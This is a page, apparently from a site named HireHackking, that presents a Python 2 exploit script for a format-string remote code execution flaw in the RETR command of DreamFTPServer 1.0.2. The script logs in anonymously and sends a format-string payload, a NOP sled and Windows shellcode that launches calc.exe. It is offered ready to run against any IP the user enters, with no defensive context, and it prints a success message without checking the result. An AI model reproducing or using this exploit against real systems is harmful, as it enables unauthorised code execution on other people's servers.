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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
import socket
import os
import sys

print '''

                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################

# Exploit Title: DreamFTPServer1.0.2_RETR_command_format_string_remotecodevuln
# Date: 2016.11.04
# Exploit Author: Greg Priest
# Version: DreamFTPServer1.0.2
# Tested on: Windows7 x64 HUN/ENG Professional
'''

ip = raw_input("Target ip: ")
port = 21
overflow = '%8x%8x%8x%8x%8x%8x%8x%8x%341901071x%n%8x%8x%24954x%n%x%x%x%n'
nop = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
#overflow = '%8x%8x%8x%8x%8x%8x%8x%8x%341901090x%n%8x%8x%24954x%n%x%x%x%n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'

#shellcode calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

remotecode = overflow + nop + shellcode + '\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip ,port))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASSW hacker@hacker.net\r\n')
s.recv(1024)
print remotecode
print '''
Successfull Exploitation!
'''
message = 'RETR ' + remotecode 
s.send(message)
s.recv(1024)
s.close